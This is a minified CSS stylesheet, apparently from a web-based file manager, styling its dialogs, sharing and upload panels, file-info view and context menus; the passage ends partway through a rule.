.aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list 